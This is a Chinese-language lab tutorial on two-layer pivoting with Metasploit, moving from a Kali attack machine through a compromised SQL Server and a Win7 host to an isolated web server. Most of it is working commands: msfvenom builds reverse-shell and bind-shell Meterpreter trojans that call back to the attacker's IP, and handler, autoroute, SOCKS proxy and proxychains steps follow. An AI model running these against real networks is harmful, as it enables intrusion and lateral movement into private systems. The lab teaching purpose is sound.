MSF实现二层代理实验
字数 948 2025-08-10 20:35:57
MSF实现二层代理实验教学文档
实验环境拓扑
- Kali攻击机: 192.168.57.129
- SQL Server主机:
- 192.168.57.150 (可被Kali访问)
- 192.168.3.32 (出网)
- Win7主机:
- 192.168.3.25 (可被SQL Server访问)
- 192.168.188.1 (不出网)
- Web服务器: 192.168.188.2 (不出网,只能被Win7访问)
实验目标
通过两层代理实现从Kali直接访问Web服务器(192.168.188.2)
第一阶段:攻陷SQL Server并建立第一层代理
1. 生成反向木马
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.57.129 lport=6666 -f exe -o 6666.exe
2. 配置MSF监听
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.57.129
set lport 6666
run
3. 投放并执行木马
将6666.exe投放到SQL Server主机并执行,等待Meterpreter会话建立
4. 配置路由和第一层代理
在Meterpreter会话中:
run post/multi/manage/autoroute # 设置路由
run autoroute -p # 查看路由情况
background # 挂起当前会话
开启SOCKS代理:
use auxiliary/server/socks_proxy
set srvhost 0.0.0.0
set srvport 1115
run
5. 配置proxychains
编辑/usr/local/etc/proxychains.conf,添加:
socks5 127.0.0.1 1115
6. 测试第一层代理
proxychains4 nmap -Pn -sT -p80 192.168.3.25
第二阶段:攻陷Win7并建立第二层代理
1. 生成正向木马
msfvenom -p windows/meterpreter/bind_tcp LHOST=0.0.0.0 LPORT=7777 -f exe > bind.exe
2. 投放木马到Win7
通过第一层代理将bind.exe投放到Win7主机(192.168.3.25)
3. 配置MSF正向连接
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost 192.168.3.25
set lport 7777
run
4. 配置路由和第二层代理
在Meterpreter会话中:
run post/multi/manage/autoroute # 设置路由
run autoroute -p # 查看路由情况
background # 挂起当前会话
开启第二层SOCKS代理:
use auxiliary/server/socks_proxy
set srvhost 0.0.0.0
set srvport 1116
run
5. 更新proxychains配置
编辑/usr/local/etc/proxychains.conf,添加:
socks5 127.0.0.1 1116
6. 测试第二层代理
proxychains4 curl -vv http://192.168.188.2
关键点总结
- 路由设置: 每攻陷一台主机后,必须使用
autoroute模块设置路由 - 代理层级:
- 第一层代理(1115端口)用于访问3.0网段
- 第二层代理(1116端口)用于访问188.0网段
- 木马类型选择:
- 出网主机使用反向连接(reverse_tcp)
- 不出网主机使用正向连接(bind_tcp)
- 代理工具配置: proxychains需要正确配置才能通过多层代理访问内网资源
- 网络拓扑理解: 必须清楚各主机间的可达性关系才能正确设计攻击路径
通过以上步骤,成功实现了从Kali攻击机通过两层代理直接访问内网Web服务器的目标。